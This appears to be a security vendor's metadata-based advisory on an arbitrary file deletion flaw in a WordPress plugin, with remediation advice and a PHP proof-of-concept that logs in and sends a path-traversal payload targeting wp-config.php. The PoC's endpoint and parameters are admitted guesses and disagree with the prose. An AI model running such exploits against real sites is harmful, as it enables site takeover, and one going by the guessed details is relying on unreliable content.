Atomic Edge analysis of CVE-2025-69377 (metadata-based):
This vulnerability is an authenticated arbitrary file deletion flaw in the WordPress User Extra Fields plugin up to version 17.0. The vulnerability stems from path traversal within a plugin function, allowing attackers with Subscriber-level permissions or higher to delete arbitrary files on the server. The CVSS score of 8.1 reflects a high-impact integrity and availability attack.
Atomic Edge research infers the root cause is CWE-22, Improper Limitation of a Pathname to a Restricted Directory. The vulnerability description confirms insufficient file path validation. Without a code diff, Atomic Edge concludes the plugin likely passes user-controlled input directly to a file deletion function like `unlink()` without proper sanitization or validation. The plugin fails to restrict the file path to an intended directory, allowing traversal sequences like `../../` to escape.
Exploitation requires an authenticated attacker to send a crafted request to a specific plugin endpoint. Based on WordPress plugin patterns, the likely vector is a WordPress AJAX handler. The attacker would send a POST request to `/wp-admin/admin-ajax.php` with an `action` parameter corresponding to a plugin function, such as `wpuf_delete_file`. The request would include a user-controlled parameter, like `file_path`, containing a traversal payload (e.g., `../../../wp-config.php`). The plugin processes this request without adequate capability checks or path validation.
Effective remediation requires implementing proper path validation before any file operation. The fix should validate that the target file path resides within an allowed directory, such as the plugin’s own uploads folder. This involves resolving the full path and checking it against a whitelist using `realpath()`. User input must be sanitized, and the function must enforce a strict capability check, likely requiring administrative privileges for file deletion actions.
Successful exploitation leads to complete loss of integrity and availability for the affected files. Deleting critical WordPress files like `wp-config.php` can cause a site outage and enable remote code execution by forcing the site into an installation state. Attackers can also delete `.htaccess` files to weaken security or remove other plugins to disrupt functionality. This vulnerability provides a direct path to site compromise.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69377 - User Extra Fields <= 17.0 - Authenticated (Subscriber+) Arbitrary File Deletion
<?php
$target_url = 'http://target-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
$file_to_delete = '../../../wp-config.php'; // Path traversal payload
// Step 1: Authenticate to WordPress and obtain the session cookies.
// This PoC assumes standard WordPress login via wp-login.php.
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Step 2: Send the exploit request to the vulnerable AJAX endpoint.
// The exact action parameter is inferred from the plugin slug and common patterns.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = array(
'action' => 'wp_user_extra_fields_delete_file', // Inferred AJAX action name
'file_path' => $file_to_delete // Inferred vulnerable parameter
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$ajax_response = curl_exec($ch);
curl_close($ch);
// Step 3: Check for success indicators.
echo "Response: " . htmlspecialchars($ajax_response) . "n";
// A successful deletion might return a JSON success message or a simple '1'.
if (strpos($ajax_response, 'success') !== false || trim($ajax_response) === '1') {
echo "[+] File deletion request may have succeeded.n";
} else {
echo "[-] Exploit may have failed or the endpoint/parameter is incorrect.n";
}
?>
